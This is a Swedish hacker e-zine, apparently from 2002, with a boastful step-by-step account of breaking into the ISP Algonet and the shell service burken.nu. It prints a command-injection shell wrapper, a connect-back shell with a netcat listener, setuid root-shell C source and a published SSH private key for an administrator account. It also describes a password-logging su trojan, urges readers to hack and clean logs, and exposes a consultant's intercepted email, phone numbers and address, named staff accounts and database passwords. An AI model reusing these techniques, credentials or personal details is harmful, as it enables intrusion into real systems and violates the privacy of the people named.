.##.
                                 .####.
                               .########.
                              .####  ####.

                       .######################.
                    .#############################.
                  .######                     ######.
                 .####           ######          ####.
                 ####           ########          #####
                 ####           ########          #####
                  ######          ####         #######
                   ###########            ###########
                       ##########################
                .###.                              .###.
               .###.     +--------------------+     .###.
              .###.      |THE CONSPiRACY: 0x01|      .###.
            .###.        +--------------------+        .###.
           .###.                                        .###.
          .###. +--------+--------------------+--------+ .###.
        .###.   0n th3 m1ss1on 2 sch00l th3 und3rgr0und!  .###.
       .###.    +--------------------------------------+    .###.
      .###.     (C)31337 TC / TheConspiracy - STFU FFS!!     .###.
     .###.      +--------------------------------------+      .###.
    .###.                                                      .###.
  .##################################################################.
 .####################################################################.
                                 ++
				 ||
				 ||
                                 ||
      +--------------------------+|
      |+--------------------------+
      ||
  +---++----------+[C0NTENT]+---------------------------+
  |							|
  | [0x01]-------> iNLEDNiNG!!		 		|
  | [0x02]-------> h4cking ALGOnet f0r fun 4nd pr0f1t	|
  | [0x03]-------> Hackare av idag			|
  | [0x04]-------> Burken.nu blir fet�gd		|
  | [0x05]-------> the AUH manifesto			|
  | [0x06]-------> Liten guide till ett s�krare liv	|
  | [0x07]-------> Mobbade barn med 0day exploitz	|
  |							|
  +---------------------------------------------+-------+
						|
						|
			       +----------------+------+
			       | WHITNEY WAS INNOCENT! |
			       +-----------------------+
					|
					|
					|
					|
					|
					|
					|
					|
					|
					|
					|
+---+[0x01: iNLEDNiNG!! ]+--------------+-------------------------------------+>
|

Ni kanske trodde att den digitala underjorden i sverige helt hade
somnat in och l�mnat �ver tronen till barnen p� DALnet? Icke.
Den svenska eliten har h�llt sig tyst och i bakgrunden fortsatt
att sprida 0ndska och kaos p� de elektroniska motorv�garna.
Nu �r vi tillbaka f�r att �nnu en g�ng r�ra om i grytan och visa
en annan sida av scenen �n den du hittar p� flashback och DALnet.

Ni kanske trodde att internet var en s�ker lekstuga?
Ni har h�rt Joakim von Braun och Per Hellquist och alla andra
experter uttala sig om hackers av idag. tror ni p� det dom ber�ttar?

"Trots att virusangreppen kostar f�retag och samh�llet hundratals
miljoner, �r det f� som vet hur s�rbart IT-samh�llet �r"
s�ger Joakim von Braun, s�kerhetsr�dgivare vid IT- s�kerhetsf�retaget Symantec.

TheConspiracy vet, vi l�ser n�mligen hans epost.

To: [email protected]
From: Joakim von Braun ([email protected])
Subject: Re: Har du h�rt n�got om?
Date: 15 sep 2002 09:30:09 -0800

> Jag har tittat igenom det och
> tror att det nog �r bluff, men s� har jag inte dina
> kontakter bland hackers..


Jo, det �r sant. Det �r nog en bluff.
Jag har tittat igenom allt material och kan
inte se hur attacken skulle ha g�tt till.

Cheers
Joakim


Joakim von Braun         phone +46-(0)8-428 95 05
von Braun Consultants  cell phone +46-(0)709-56 16 42
Kristinehovsgatan 14
SE-117 29 Stockholm,  SWEDEN

The Trojan Database:  http://www.simovits.com/trojans/trojans.html


Vill du se ditt egna favvohack h�r i zinet s� bara maila in det.
Detta f�rsta nummer inneh�ller mycket material fr�n gruppen
AUH, Arga Unga Hackare, 31337!!

Vi sl�pper detta zinet endast f�r att visa att vi har r�tt och
att alla andra har fel. mycket fel. Vi �r h�r f�r att visa er nya
v�gen till framg�ng och f�r att visa er som slutat v�gen tillbaka!

B�RJA HACKA! VI VET ATT NI VILL! <-- OBS

maila in dina loggar/trix till The

+
|
+---+[TheConspiracy staff]+-----+---+>
                                |
   			        |
   				|
   				|
  +-----------------------------+-----------------------------------+
  | '1/2', in fact, can never be found in the real world,           |
  |  and there are historical and archeological reasons to believe  |
  |  it was created by a Greek mathematician under the influence of |
  |  the mind-warping hallucinogenic mushroom Amanita muscaria.     |
  +----------------------------------------------------------+------+
							     |
                                                             |
							     |
						             |
+---+[0x02: h4cking ALGOnet f0r fun 4nd pr0f1t ]+------------+----------------+>
|
+

S���.. du vill hacka dig in p� algonet s�ger du?
Well, alla coola kidsen har varit d�r, s� varf�r skulle du vara s�mre?
Bunkra upp med knark och chips och ta p� dig din finaste hackarskjorta
f�r nu skall vi p� utflykt till ett n�t som kommer ge flera av er nostalgiska
t�rar i �gonvr�n. n�mligen Algonet, eller Telenordia som det heter numera.
Hur som helst s� �r dom j�vligt �gda och tur �r v�l det, annars skulle jag
vara tvungen att skriva om hur du installerar mIRK eller formaterar en floppy
eller n�gon annat som hackare g�r p� sin fritid. Hackare har n�mligen gott om
fritid d� de inte har n�gra v�nner, eller de f� v�nner dom har som lever sitt
liv p� mIRKen �r fullt upptagna med att r�ka B0NG och skriva 0nd kod s� dom har
inte tid att umg�s med loosers som du.
H�r kommer det ni alla har v�ntat p�:
utan ytterligare on�dig inledningstext:
TheConspiracy presenterar stolt:
RiktigtOndHackerSkola - del ett:

+-----------------------------------------------------------------------------+
|!Hacking algonet for fun and profit!! (det �r inte snyggt, men det �r kul)   |
+-----------------------------------------------------------------------------+

Att hacka WEBBEN �r v�ldigt popul�rt bland ungdomar nuf�rtiden. Har du precis
som s� m�nga andra undrat hur s�nt d�r egentligen g�r till? Ist�llet f�r att
svamla om massa trams s� tar vi ett praktiskt exempel! Vi skaffar oss helt
enkelt fetroot p� algonet genom ett h�l i just WEBBEN.

F�r att f� fetroot m�ste man f�rst ha ett s�tt att ber�tta f�r datorn i fr�ga
vad man vill att den skall utr�tta. i v�rat fall vill vi att den skall utf�ra
0nda hackarekommandon, n�got som datorer vanligtvis inte alls h�ller p� med.

Vi vet att Algonet till�ter sina dumma anv�ndare att skriva sina egna CGIscript
och eftersom vi ocks� vet att de flesta av alla som anv�nder en dator �r
dummare �n sina floppydrives s� kan vi kallt r�kna med att flertalet av dessa
CGIs gladligen tar v�ra hackarekommandon och skickar vidare till skalet.
Vi anv�nder en s�kmotor p� WEBBEN f�r att s�ka upp lite skripp och efter n�gra
minuter har vi hittat en anv�ndare som har r�kt alldeles f�r mycket B0NG och
misslyckas fatalt med att skriva k0d som inte funkar som vi vill.

�vning ett: anv�nd din webbl�sare f�r att titta p� www.altavista.com
och s�ka efter CGI skript hos algonet. (search: +URL:algonet.se +URL:.cgi)

Vi v�ljer ut ett offer och skrider till verket - Det �r nu mycket viktigt
att uppr�tth�lla en h�g knark/blod ratio i �drorna, s� ni inte pl�tsligt mitt
i hacket r�kar uppleva verkligheten, d� denna kan vara skadlig och inte alls bra

"http://cgi.algonet.se/xxx/visasida.cgi?page=main.html"

Ja detta var fint, vi testar n�gra 0nda kommandon f�r att se att det verkligen
fungerar som det ska, och det g�r det. s� ta n�gra sista djupa bloss p� B0NGen
och s�tt dina bleka fingrar mot tangentbordet s� skall vi ut p� en trevlig resa.

# # # # # # # # # # # # # # # # # #
# OBS OBS OBS OBS OBS OBS OBS OBS #
#				  #
# Kids, dont try this from home!! #
# 				  #
# OBS OBS OBS OBS OBS OBS OBS OBS #
# # # # # # # # # # # # # # # # # #

Nu n�r vi skall beg�r BROTT s� vill vi inte g�ra det fr�n mammas telelina
eftersom hon d� antagligen kommer bli sur och ta din fina Petium (MMX) ifr�n dig
Vi binder d�rf�r en proxykedja till den lokala telnetporten och hoppas p�
det b�sta.

# telnet localhost
Trying 127.0.0.1...
Connected to localhost.

# Det vi har hittat om ni fattar det, �r ett CGIscript vi kan k�ra kommandon
# genom!
# Att sitta och skriva in URLer hela tiden �r inte s� kul, s� vi h�mtar v�ran
# programming for dummies bok och l�r oss hur man skriver ett skalskript som
# utf�r v�ra 0nda g�rningar.
#

$ cat > algo.sh
#!/bin/sh
while [ - ]; do
echo -n ">"
read BAR

        FOO=$(echo $BAR | sed -e 's/\ /%20/g')
        lynx -source "http://cgi.algonet.se/xxx/visasida.cgi?$FOO"
done
^D
$ chmod 755 algo.sh
$ ./algo.sh
>uname -a
<HTMl><BODY><ISINDEX><PRE>
SunOS sten 5.8 Generic_108528-08 sun4u sparc SUNW,UltraSPARC-IIi-cEngine
>who
<HTMl><BODY><ISINDEX><PRE>
root       console      xxx xx xx:xx
onm        pts/1        xxx xx xx:xx    (xena.algonet.se)
>

#
# Vi m�rker snabbt att v�rat WEBB-skal �r s�mre �n Elvis, s� vi anv�nder
# v�ra tokiga skillz f�r att uploada lite warez till datorn s� vi blir
# klara i tid till n�sta B0NG. Vi valde att ladda upp ett connectbackskal.
# det �r som telnet, fast tv�rt om.. Och s� beh�ver du inga jobbiga l�senord
# eftersom du �r en hackare, och hackare anv�nder inte saker som l�seord.
#

>gcc cb.c -o cb
>./cb xxx 80


#
# Det h�r kommer vara lite klurigt, du f�rst�r att detta h�nder lite f�re, efter
# och samtidigt som det ovanf�r, vi har som alla riktiga IT brottslingar
# minst tv� terminaler ig�ng, sen har vi en tredje som vi kollar p� PORR i.
# och en fj�rde med mIRCK s�klart.
# men i v�ran andra(2) terminal, den som vi startade netcat i, f�re vi k�rde
# connectbackskalet, ser ut s� h�r:

#nc -vvlp 80
listening on [any] 80 ...
Warning: forward host lookup failed for stanley.algonet.se: Unknown host
connect to [xxx] from stanley.algonet.se [194.213.75.184] 45204

id
uid=xxx(xxx) gid=2000(algonet)


#
# Ok, vi som kan v�ran lunix ser snabbt att vi oturligt nog inte �r
# klara h�r, vi har fortfarande inte fetroot fast vi har jobbat s� h�rt!
# Vi ger oss ut bland dom lokala H/P/A BBSerna f�r att hitta lite ny
# 0dagars-warez som kan hj�lpa oss lite p� v�gen.
#

gcc rt.c -o r00t;

./r00t
id;
uid=0(root) gid=2000(algonet)

#
# Ok pojkar och flickor(you wish), nu har vi fetroot, dock bara p� en server.
# Och det �r inte ens en rolig server. Men varf�r har vi sl�sat all denna tid
# undrar ni nu. Det skall jag ber�tta. Algonet har n�mligen alla anv�ndares
# mappar och filer och s�nt p� tv� centrala datorer, som kallas Piff och Puff.
# Du kanske kommer ih�g namnen fr�n julafton n�r du sitter och skrattar �t
# den dumma hunden som aldrig f�r fast dom sm� elaka r�ttorna.
# Piff och Puff �r s� kallade NSF servrar, varf�r det heter NSF servrar, eller
# varf�r algonet har d�pt dom till Piff och Puff, som inte har n�got alls med
# varken nazism eller data att g�ra, har jag verkligen ingen aning om.
# Piff och Puff delar iallafall ut all denna data till de servrar som beh�ver
# den, det roliga med detta �r att om vi skriver saker bland n�gons databitar
# p� en server, s� kommer det finnas d�r p� ALLA servrar!! Helt magiskt!
# Det som vi kommer att t�nka p� f�rst �r SSH-nyckelfiler, en liten sak som
# g�r att du kan vara hackare med SSH! Dvs utan att anv�nda passwrdz. Om
# vi l�gger en s�n bland en admins data, s� kan vi logga in som honom p�
# alla Algonets servrar!! fattar ni vart jag vill komma? Bra. Ladda om B0NGen
# och f�rbered din ssh-nyckelfil, s� forts�tter vi efter en tiominuter rast.
#

# cat > cid.c
#include <stdio.h>

int main(int argc, char** argv) {

        if(argc < 3) {
                setuid(0);
                setgid(0);
                seteuid(0);
                setegid(0);
        }
        else {
                setuid(atoi(argv[1]));
                setgid(atoi(argv[2]));
                seteuid(atoi(argv[1]));
                setegid(atoi(argv[2]));
        }

        execl("/bin/sh","sh",NULL);
}

# /usr/local/bin/gcc cid.c -o cid

#
# Eftersom man inte f�r peta p� andras filer fast man �r tokroot �r lite jobbigt
# men l�tt �verkomligt, vi vill inte anv�nda su f�r att d� fastnar man i massa
# loggar som man inte riktigt vet vem som l�ser. B�st att vara f�rsiktig
# Nu vidare!


head -15 /etc/passwd
root:x:0:1:Super-User:/:/sbin/sh
qmaild:x:504:100::/var/qmail:/bin/sh
qmaill:x:505:100::/var/qmail:/bin/sh
qmailp:x:506:100::/var/qmail:/bin/sh
qmailq:x:501:101::/var/qmail:/bin/sh
qmailr:x:500:101::/var/qmail:/bin/sh
qmails:x:502:101::/var/qmail:/bin/sh
alias:x:503:100::/var/qmail/alias:/bin/sh
www:x:101:100:AlgoNet Webmaster:/home/user2/www:/bin/tcsh
onm:x:107323:1000:Ola Nystrom:/home/user10/onm:/usr/bin/zsh
sshd:x:117444:66668:sshd privsep:/var/empty:/bin/false
adh:x:99901:1000:Anders Haglund:/home/adh:/bin/tcsh
anarchy:x:1400:1400::/import/usrusr/anarchy:/bin/false
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:


#
# Hmm, d�r har vi adminsen p� Algonet, trevligt.. Vi v�ljer en p� m�f�
# och forts�tter v�ran utflykt.
#


./chid 107323 1000
id
uid=107323(onm) gid=2000(algonet)

# ssh-keygem -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/root/.ssh/id_dsa): knark
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in knark.
Your public key has been saved in knark.pub.
The key fingerprint is:
12:b9:79:f7:bc:77:92:f2:25:94:33:68:90:7b:2b:32 root@3v1l

cat >> .ssh/authorized_keys < _EOF_
-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDE4836KtFl/kwJsJensnvYgjdPHSixvT68oJ8n23TZgf74PTdI
MXGsXtcNds9snH6K9vtWMd+0alm9/f1IlzxQLihN2ToXFIMyPRmaeDFP6T1wb0L/
uYYa1xrWbDDWJjB737K4XuWo+coJgYdvo+xzjH05AGRE2yIx/iJk6pyWPQIVAIZt
VeO5HSGceET3IAQ21YBJxtn1AoGAdLC6QAFx4t4Y5pTbCkhVq3/LcPaGL8mEPl3A
4d+IIpLlW+G9sPWxgwQHFLSR061oHcZ7EwquChUyN7FMF59qTEL1KzsZ+rqqShcv
tQZ4T8J44fGVqE4Pw3AJAOtqDbWEY5gK0HQhYBW73SGQV7QFJ8Otxn8MI5DD4/K+
LRw0HakCgYEAu53P58hUzTABUdbZxwC8Zn6+FEa/XXa0UxxiCx1ZJGYjH+vM+Yow
EtgVVgxY6pOw/Ltyd2hTi+4dGiNqtmqiNHXxuYm0cvhELth/R9NwYBpBxTGd2RCt
/qt/O7F9T7Vl2DZxAkoe0FkcX5T1WXGwLyXjAdA0avbRomUBWBRbcfMCFBaRBcj+
dmrfJ63FAQbiKoKHpKtg
-----END DSA PRIVATE KEY-----
_EOF_

#
# Hihi, En elak liten present vi l�mnade h�r :-)
# Nu b�rjar v�ran resa n�rma sig sitt slut,
# Hoppas ni h�nger med s� h�r l�ngt!
# Vi m�ste ju testa att v�ran plan fungerar, s�
# vi startar ytterligare en terminal, hoppar lite
# kors och tv�rs �ver n�tet p� v�ra tokrootade burkar
# och f�rs�ker slutligen logga in, h0h0

# ssh -i knark [email protected]
The authenticity of host 'kairos.algonet.se (213.150.135.237)' can't be established.
RSA key fingerprint is 53:e6:bd:e2:b9:bb:5b:a0:ea:59:b4:17:1d:f8:9f:98.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'kairos.algonet.se,213.150.135.237' (RSA) to the list of known hosts.
Last login: Fri Sep  6 10:39:43 2002 from xena.algonet.se
Sun Microsystems Inc.   SunOS 5.8       Generic February 2000
Skriv "meny" om du vill starta det lokala menysystemet.

[kairos/onm] ~ > id
uid=107323(onm) gid=1000(stuff)
[kairos/onm] ~ >


# Nu �r �r jobbet att bli root p� alla kvar.
# Men det l�mnar jag till er l�sare sj�vla att
# l�sa! men jag skall ge er n�gra tips s� ni inte st�r
# d�r helt med sk�gget i brevl�dan!
#
# F�rst kan man t�nka att �ven piff och puff, du vet dom
# tv� r�ttservrarna som inneh�ll alls filer och dokument?
# dom kan man ocks� logga in p� med nyckelfilen!
#
# Ett annat s�tt �r att cracka rootl�senordet vi hittade p� sten o stanley.
# det l�ter som en ganska trevlig ide tycker jag, men sj�lv s� �r jag f�r lat
# cracka och vill bli klar s� snabbt som m�jligt s� jag kan dra och k�pa mer
# sprit och piller. S� jag planterar en su trojan i hans hemkatalog och aliasar
# su till den, Bakd�rren skickade vidare username och password till su s� han
# loggades in som root som vanligt, men l�sen loggas!! muahaha! elakt va?
# det firar vi med ett bloss p� B0NGen och stor klunk vodka.
# Nu har vi rootl�sen till alla burkar han k�rde su p�, bla kairos!
# en mycket bra sak att ha!
#
# Vi har st�dat upp alla verktyg/loggar/bakd�rrar som vi anv�nde
# f�r att ge er en chans att f� fetroot p� algonet alldeles sj�lva!
# Ja det var roligt, eller hur? N�? vad v�ntar ni p�? B�rja hacka!
# men gl�m fan inte att st�da i loggarna efter er nu!
#
# Kom ih�g!
#
# SANT --> VILL MAN BLI HACKER S� M�STE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER S� M�STE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER S� M�STE MAN HACKA! <-- SANT!
# SANT --> VILL MAN BLI HACKER S� M�STE MAN HACKA! <-- SANT!
#
#  - TC - sch00ling th3 und3rgr0undz
#
#

PS. F�r er som inte orkar hacka sj�lva s� finns h�r ssh-nyckelfilen!!!

-----BEGIN DSA PRIVATE KEY-----
MIIBuwIBAAKBgQDE4836KtFl/kwJsJensnvYgjdPHSixvT68oJ8n23TZgf74PTdI
MXGsXtcNds9snH6K9vtWMd+0alm9/f1IlzxQLihN2ToXFIMyPRmaeDFP6T1wb0L/
uYYa1xrWbDDWJjB737K4XuWo+coJgYdvo+xzjH05AGRE2yIx/iJk6pyWPQIVAIZt
VeO5HSGceET3IAQ21YBJxtn1AoGAdLC6QAFx4t4Y5pTbCkhVq3/LcPaGL8mEPl3A
4d+IIpLlW+G9sPWxgwQHFLSR061oHcZ7EwquChUyN7FMF59qTEL1KzsZ+rqqShcv
tQZ4T8J44fGVqE4Pw3AJAOtqDbWEY5gK0HQhYBW73SGQV7QFJ8Otxn8MI5DD4/K+
LRw0HakCgYEAu53P58hUzTABUdbZxwC8Zn6+FEa/XXa0UxxiCx1ZJGYjH+vM+Yow
EtgVVgxY6pOw/Ltyd2hTi+4dGiNqtmqiNHXxuYm0cvhELth/R9NwYBpBxTGd2RCt
/qt/O7F9T7Vl2DZxAkoe0FkcX5T1WXGwLyXjAdA0avbRomUBWBRbcfMCFBaRBcj+
dmrfJ63FAQbiKoKHpKtg
-----END DSA PRIVATE KEY-----


|
+---+[TheConspiracy hakker crew]+---+-----------------------------------------+>
				    |
				    |
		+-------------------+------------------------------+
		| Kommer m�nskligheten att g� under eller g� �ver? |
		+------------------------------------------------+-+
								 |
								 |
<+---------------------------------------------------------------+------------+>

# telnet eleet.navy.mil
Connected to eleet.navy.mil.
Escape character is '^]'.

*****************************************************************************
*** WARNING ***     *** WARNING ***    *** WARNING ***    *** WARNING ***
This is a Department of Defense computer system.  This computer system,
including all related equipment, networks and network devices (specifically
including Internet access), are provided only for authorized U.S.
government use.  DoD computer systems may be monitored for all lawful
purposes, including to ensure that their use is authorized, for management
of the system, to facilitate protection against unauthorized access, and
to verify security procedures, survivability and operational security.
Monitoring includes active attacks by authorized DoD entities to test
or verify the security of this system.  During monitoring, information
may be examined, recorded, copied and used for authorized purposes.  All
information, including personal information, placed on or sent over this
system may be monitored.  Use of this DoD computer system, authorized or
unauthorized, constitutes consent to monitoring of this system.
Unauthorized use may subject you to criminal prosecution.  Evidence of
unauthorized use collected during monitoring may be used for administrative,
criminal, or other adverse action.  Use of this system constitutes consent
to monitoring for these purposes.
*** WARNING ***     *** WARNING ***    *** WARNING ***    *** WARNING ***
*****************************************************************************


login: toor
Please wait...checking for disk quotas

                           RESTRICTED RIGHTS LEGEND
Use, duplication, or disclosure by the U.S. Government is subject to
restrictions as set forth in sub-paragraph (c)(1)(ii) of the Rights in
Technical Data and Computer Software clause in DFARS 252.227-7013.


Rights for non-DOD U.S. Government Departments and Agencies are as set
forth in FAR 52.227-19(c)(1,2).


Value of TERM has been set to "xterm".
WARNING:  YOU ARE SUPERUSER !!

#

<+---------------------------------------------------------------+------------+>
								 |
								 |
								 |
+---+[0x03: elaka MMX hackare av idag ]+-------------------------+------------+>


Whitehats.  Blackhats.  Greyhats.

Smaka p� dessa mediaord.
Ni har antagligen l�st dessa ord b�de en och tv� g�nger och kanske till och med
trott att ni varit kapabla att applicera dem p� folk ni k�nner eller har l�st om
Whitehats - de f�r en att associera till vita �nglar, moralens v�ktare.
Blackhats - de �r motsatsen, onda �nglar. H�nsynsl�sa �nglar helt utan skrupler.
En greyhat �r n�gon slags vilsen whitehat, n�gon som inte alls har fattat
grejjen och tror sig kunna st� med ett ben p� varje sida.

Orden �r beskrivningar p�hittade av media i slutet av 90-talet f�r att kunna
dela in dessa s.k. hackare man skrev om i olika l�ger. Ordet hackare har ju
alltid varit sv�rt. Vad �r egentligen en hackare? Hur beter dem sig? Osv..
En myt �r att riktiga hackare �r s�dana typer som MIT-hackarna. Det �r l�gn.
MIT-hackarna var n�rdar utan liv med l�g imponansfaktor. Sen kom man p� att
hackare kanske var s�dana typer som br�t sig in i datorsystem. Fast d�r st�tte
man ocks� p� problem.
Det gick helt enkelt inte att kategorisera b�da typerna som hackare.
Dvs, typerna som br�t sig in i system f�r att det var kul och vars enda
avsikt var att att kn�cka systemen (yeah, right), och typerna som br�t sig
in f�r att stj�la information eller vad som helst som inte �r helt
f�rsvarbart. Den ena var ju en hackare och den andra en cracker. Och en
cracker �r ju en s�n som kn�cker program?
Fast egentligen �r en cracker, dvs en ond hackare, en hackare?
Massor med onyttig f�rvirring. H�r fanns det utrymme f�r nya beskrivningar.
Onda hackare kallades blackhats.
Sn�lla hackare (haha) kallades whitehats.
Sn�lla hackare som varit/�r onda i smyg kallade man greyhats.
Skitbra, helt pl�tsligt gick det att kategorisera hackarna.

Nu blev det helt pl�tsligt dags f�r alla s.k. hackare att kategorisera sig.
De seri�sa m�nniskorna, bl.a. de som jobbade f�r Defcom eller ISS - de var
s�klart whitehats. F�r vem vill ha smuts p� fingrarna om man ska s�lja sig
som s�kerhetskonsult? Sen var det dom tuffa sm� hackarna. De titulerade sig
s�klart blackhats. De hade r�d att vara coola eftersom ingen kom att jobba
med dem �n. Men framf�rallt ville de ha respekt och ber�melse. S�nt man kan
f� p� IRC som �r centrum f�r alla j�vla scenhoror. Till slut blev det en grupp
�ver, de som betedde sig likt blackhats p� fritiden men jobbade likt whitehats
p� arbetstid. Dessa var greyhats. Lite vitt och lite svart.

Ni sitter p� IRC och jiddrar om vilken j�vla hatt ni sj�lv b�r och funderar
�ver vilken hatt folk ni h�r om, folk ni l�ser om och folk ni tr�ffar,
f�rtj�nar att b�ra eller b�r.

Under tiden sitter vi och fet�ger era geekstations och snor er warez!

Om ni n�gonsin tycker att ni b�r n�n slags hatt s� �r ni inga hackare.
Det finns inget som definerar en hackare som whitehat, greyhat eller blackhat.
Och det finns inga crackers, och inte heller onda eller goda hackare.
Den som tar p� sig N�GON hatt �r inte en hackare. Punkt slut.

             F�R DET �R JU S� J�VLA UPPENBART.
         HACKARE SOM INTE HACKAR �R INGA HACKARE.
                        ALLTS�.

                    HACKARE HACKAR!

Samma sak med problemet huruvida man �r 'l33t eller inte.
Piece of k4k4. Det �r ni inte och kommer ni aldrig att bli.
Men f�r all del, sitt g�rna d�r och bli j�mf�rd med n�gon som �r sn�ppet
mer clueless som dig och k�nn dig elajt. MMX!

(Sensmoralen i den h�r texten �r - Sluta jiddra, b�rja hacka.)

+
|
+-----------------------------------------------------------------------+------>
									|
									|
									|
+---+[0x04: burken.nu blir fet�gd! ]+-----------------------------------+------>
|
+-----------------------------------------------------------+
| Att burken.nu blev hackad har v�l knappast undg�tt n�gon  |
| och m�nga teorier om "hur" har spridits. TheConspiracy    |
| har dock f�tt den exklusiva m�jligheten att h�r �terge    |
| hacket men hj�lp av �kta terminalloggar!		    |
| Tyv�rr fick vi strippa ner ordentligt eftersom vi har     |
| begr�nsat utrymme i det h�r zinet                         |
| Credits till AUH f�r detta =)				    |
+-----------------------------------------------------------+
|



			Sent som fan - Torsdag

Ey dagboksmannen!

Idag k�nde jag f�r att driva en n�rdadmin till vansinne, s� jag t�nkte
att jag skulle roota en shellserver.

N�gonstans ska man b�rja, s� jag drog mig till minnes ett mail i en mail-
spool om loginuppgifter till Burken.NU.
En shelltj�nst d�r man f�r skal, irc, mysql, php och annan j�vla webbskit.

Kopplade upp mig mot en switch, loggade p� ett g�ng andra burkar och
gled sakta men s�kert in p� burken(.nu) och tittade runt lite.

Webbtj�nsten ligger visst p� en annan burk, kallad fs02.
Alla hemkataloger �r NFS-monterade med AMD. M�nga users �r tuffa och har
satt sin hemkatalog till chmod 711. Och i de andra finns det inte mycket
att h�mta. Inte heller ligger det n�gra worldreadable backups i filsystemet
med intressant information som kan vara till nytta f�r anv�ndare med genuint
ont upps�t.

Eftersom jag noterade att l�senorden f�r login och mysql var samma i mailet
l�gger jag ihop ett och ett. (look m0m, i g0t d4 apr0pr1at3 sk1llz)
Snabbt hackar jag ihop ett script som tvingar AMD att montera hemkatalogerna,
g�r in i dem, vidare in i public_html och plockar informationen i PHP-filerna
som anv�nds f�r att komma �t respektive mysql databas.
Sen knackade jag ihop ett PHP-dokument som med IMAP verifierar alla
anv�ndarnamn och l�senord jag f�tt mot IMAP-servern -
Till min f�rv�ning uppt�cker jag endast ett f�tal har bytat bort de s�kra
(kombinationsm�ssigt :P), slumpm�ssiga l�senorden mot egna. Det var ju dumt.

Jag sitter nu p� en hel del (ok, n�stan alla) konton till Burken.NU.
J�vla klantskallar. Jag �ger, hahaha. Men �nd�, vanliga konton �r faktiskt
relativt meningsl�sa..
Varf�r bry sig om grus n�r man kan gr�va guld?

Spacedump, en pojke p� internet, �r admin och tror att han kan g�ra som han
vill. Men h�ller vi inte alla med om att han g�r helt j�vla fel n�r han
accessar sin sqldatabas med root-kontot som ligger i en 644 fil?

   mysql_connect("localhost", "root", "nattis");

LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump
LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump
LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump - LOL @ Spacedump

Greppar ut en anv�ndare p� h, som i hackare, fr�n min coola kontolista
och loggar p� mot burken igen. T�nkte att det vore roligt att titta runt p�
webbservern ocks�, s� jag hackar ihop ett PHP-script som ska hitta p�
sattyg och andra ondheter.

Tyv�rr hade n�gon slagit p� safemode i PHP s� det f�rs�ket gick �t pipan.
Men det �r ingen ide att lipa f�r det, s� jag g�r till php.net och l�ser p�
om hur safemode fungerar och vad parametrarna g�r.
Hittar n�got som verkar kajko och efter n�gra f�rs�k kan jag exekvera
program som uid httpd.

En terminallogg s�ger mer �n tusen ord, s� *fanfar*:

+---------------------------------------------------+
|EDITOR note: Alla loggar �r kraftigt editerade     |
|             pga utrymmet. Men ni fattar nog �nd�. |
|						    |
| N�r loggen b�rjar har precis v�r hacker skaffat   |
| sig terminalacess genom ett connectback skal som  |
| exekveras genom ett phpscript.                    |
| Detta ser man mycket ofta, folk som tror dom �r   |
| s�kra bara f�r att deras anv�ndare inte har skal  |
| p� just den datorn. 				    |
| DAX ATT VAKNA! SK�T DITT JOBB ELLER BLI �GD!      |
|						    |
| Det �r allts� spacedumps wwwserver som visas.     |
| (burken.nu/www.linux.se/www.xmms.org/m.fl)        |
+---------------------------------------------------+

$ w
11:15pm  up 14 days, 21:02, 30 users,  load average: 0.66, 0.50, 0.48
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
spacedmp pts/1    fs01.spacedump.p  8Sep 2 13days  0.16s   ?     -
spacedmp pts/2    laptop:S.0       Fri 3pm 25:58  50.48s 50.40s  epic SpaceDump
spacedmp pts/3    laptop:S.1        9:22pm  1:53m  0.06s  0.04s  mysql -uroot -p
spacedmp pts/4    laptop:S.2       Fri 3pm  2days  0.02s  0.02s  /bin/bash
spacedmp pts/5    laptop:S.3        8Sep 2  1:36m  7.41s  7.38s  ssh -v -l root
spacedmp pts/6    laptop:S.4       Fri 3pm 25:31  11.86s 11.85s  /usr/apps/pine/
spacedmp pts/7    laptop:S.5        8Sep 2  1:23m  0.23s  0.11s  telnet -x -l ro
spacedmp pts/8    laptop:S.6        8Sep 2 34:26m  2.30s  2.18s  ssh -v -l anol
spacedmp pts/9    laptop:S.7        8Sep 2  3:49m 50:09    ?     -
spacedmp pts/10   laptop:S.8       Tue 3pm 22:19m  0.02s  0.02s  /bin/bash
spacedmp pts/12   laptop:S.9        8Sep 2  1:19m 26.61s 26.60s  /usr/apps/opens
spacedmp pts/13   laptop:S.15      Thu 6pm  3days  0.12s   ?     -
spacedmp pts/15   laptop:S.11       5:12pm  6:01m  0.01s  0.01s  /bin/bash
spacedmp pts/16   laptop:S.12       5:46pm  5:28m  0.02s  0.02s  /bin/bash
spacedmp pts/19   laptop:S.16      Thu 6pm  1:10m  0.39s  0.36s  mysql -uroot -p
spacedmp pts/20   laptop:S.17      Thu 7pm 47:04m  0.18s   ?     -
coopers  pts/14   c-c88970d5.016-3 Wed12am  4days  0.09s  0.09s  -bash
spacedmp pts/17   laptop:S.13      Thu 2pm  3days  0.04s  0.04s  /bin/bash
spacedmp pts/21   laptop:S.18      Fri 8pm 37:37m  0.82s  0.80s  /usr/apps/opens
spacedmp pts/22   laptop:S.19      Sat12am 34:22m  1.41s  1.39s  /usr/apps/opens
coopers  pts/24   c-c88970d5:S.0   10Sep 2  2days  7.97s  7.96s  epic CoopSwip -
$ cd /usr/web/logs
$ ls -l
total 1155916
-rw-r--r--   1 root     root      19163 Sep 22 23:11 123.shellkonto.nu-combined
-rw-r--r--   1 root     root          0 Sep 16 00:00 123.shellkonto.nu-error_log
-rw-r--r--   1 root     root           0 Sep 16 00:00 1st.shellkonto.nu-combined
-rw-r--r--   1 root     root           0 Sep 16 00:00 1st.shellkonto.nu-error_log
-rw-r--r--   1 root     root      961083 Sep 22 23:16 3d.burken.nu-combined
-rw-r--r--   1 root     root        7354 Sep 22 22:43 3d.burken.nu-error_log
-rw-r--r--   1 root     root    18637378 Sep 22 23:15 access_log
-rw-r--r--   1 root     root       11794 Sep 22 11:55 apps.linux.se-combined
-rw-r--r--   1 root     root           0 Sep 16 00:00 arkivet.tillberg.net-combined
